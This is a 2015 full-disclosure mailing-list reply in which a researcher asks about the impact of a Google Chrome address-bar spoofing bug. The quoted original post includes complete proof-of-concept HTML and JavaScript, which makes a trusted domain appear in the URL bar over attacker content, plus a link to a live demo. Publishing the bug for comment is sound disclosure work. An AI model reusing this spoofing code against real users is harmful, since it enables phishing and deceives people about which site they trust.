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Message-ID: <CAP7Z6--Zd8zojRXbevz+xETqvqRGWJKhaY=OL9LL2mRusPMNiA@mail.gmail.com>
Date: Wed, 1 Jul 2015 10:12:35 +1200
From: Valentinas Bakaitis <v.bakaitis@...il.com>
To: David Leo <david.leo@...sen.co.uk>
Cc: fulldisclosure@...lists.org,
	"bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>,
	oss-security@...ts.openwall.com
Subject: Re: [FD] Google Chrome Address Spoofing (Request For Comment)

Can you perform any actions on the page once the URL is replaced, or is it
non responsive? (asking because PoC did not work on my Chrome 43.0.2357.130
(64-bit) on OSX). If it is non responsive then the impact is very limited.
Worst thing I can think of is showing "your account is suspended, please
contact technical support on 0800-555-555" and then using the trust user
puts in the URL for phone phishing. If it is responsive, then it's indeed
pretty bad.

Cheers!
V.

On Tue, Jun 30, 2015 at 6:08 PM, David Leo <david.leo@...sen.co.uk> wrote:

> Impact:
> The "click to verify" thing is completely broken...
> Anyone can be "BBB Accredited Business" etc.
> You can make whitehouse.gov display "We love Islamic State" :-)
>
> Note:
> No user interaction on the fake page.
>
> Code:
> ***** index.html
> <script>
> function next()
> {
>         w.location.replace('http://www.oracle.com/index.html?'+n);n++;
>         setTimeout("next();",15);
>         setTimeout("next();",25);
> }
> function f()
> {
>         w=window.open("content.html","_blank","width=500 height=500");
>
> i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5);
> }
> </script>
> <a href="#" onclick="f()">Go</a><br>
> ***** content.html
> <b>This web page is NOT oracle.com</b>
> <script>location="http://www.oracle.com/index.html";</script>
> ***** It's online
> http://www.deusen.co.uk/items/gwhere.6128645971389012/
> (The page says "June/16/2015" - it works as we tested today)
>
> Request For Comment:
> We reported this to Google.
> They reproduced, and say
> It's DoS which doesn't matter.
> We think it's very strange,
> since the browser does not crash(not DoS),
> and the threat is obvious.
> What's your opinion?
>
> Kind Regards,
>
> PS
> We love clever tricks.
> We love this:
> http://dieyu.org/
>
>

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